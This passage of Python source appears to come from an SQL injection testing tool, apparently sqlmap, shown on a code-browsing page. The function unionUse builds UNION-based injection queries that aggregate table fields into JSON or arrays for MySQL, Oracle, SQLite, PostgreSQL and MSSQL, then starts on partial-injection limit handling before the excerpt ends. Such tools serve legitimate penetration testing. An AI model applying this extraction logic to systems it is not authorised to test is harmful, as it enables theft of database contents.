This function tests for an UNION SQL injection on the target URL then call its subsidiary function to effectively perform an UNION SQL injection on the affected URL
(expression, unpack=True, dump=False)
| 237 | _configUnionCols(conf.uCols or columns) |
| 238 | |
| 239 | def unionUse(expression, unpack=True, dump=False): |
| 240 | """ |
| 241 | This function tests for an UNION SQL injection on the target |
| 242 | URL then call its subsidiary function to effectively perform an |
| 243 | UNION SQL injection on the affected URL |
| 244 | """ |
| 245 | |
| 246 | initTechnique(PAYLOAD.TECHNIQUE.UNION) |
| 247 | |
| 248 | abortedFlag = False |
| 249 | count = None |
| 250 | origExpr = expression |
| 251 | startLimit = 0 |
| 252 | stopLimit = None |
| 253 | value = None |
| 254 | |
| 255 | width = getConsoleWidth() |
| 256 | start = time.time() |
| 257 | |
| 258 | _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) |
| 259 | |
| 260 | # Set kb.partRun in case the engine is called from the API |
| 261 | kb.partRun = getPartRun(alias=False) if conf.api else None |
| 262 | |
| 263 | if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): |
| 264 | # Removed ORDER BY clause because UNION does not play well with it |
| 265 | expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression) |
| 266 | debugMsg = "stripping ORDER BY clause from statement because " |
| 267 | debugMsg += "it does not play well with UNION query SQL injection" |
| 268 | singleTimeDebugMessage(debugMsg) |
| 269 | |
| 270 | if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): |
| 271 | match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) |
| 272 | if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression): |
| 273 | kb.jsonAggMode = True |
| 274 | if Backend.isDbms(DBMS.MYSQL): |
| 275 | query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, ','.join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1) |
| 276 | elif Backend.isDbms(DBMS.ORACLE): |
| 277 | query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1) |
| 278 | elif Backend.isDbms(DBMS.SQLITE): |
| 279 | query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) |
| 280 | elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item |
| 281 | query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) |
| 282 | elif Backend.isDbms(DBMS.MSSQL): |
| 283 | query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop) |
| 284 | output = _oneShotUnionUse(query, False) |
| 285 | value = parseUnionPage(output) |
| 286 | kb.jsonAggMode = False |
| 287 | |
| 288 | # We have to check if the SQL query might return multiple entries |
| 289 | # if the technique is partial UNION query and in such case forge the |
| 290 | # SQL limiting the query output one entry at a time |
| 291 | # NOTE: we assume that only queries that get data from a table can |
| 292 | # return multiple entries |
| 293 | if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): |
| 294 | expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) |
| 295 | |
| 296 | if limitCond: |
no test coverage detected
searching dependent graphs…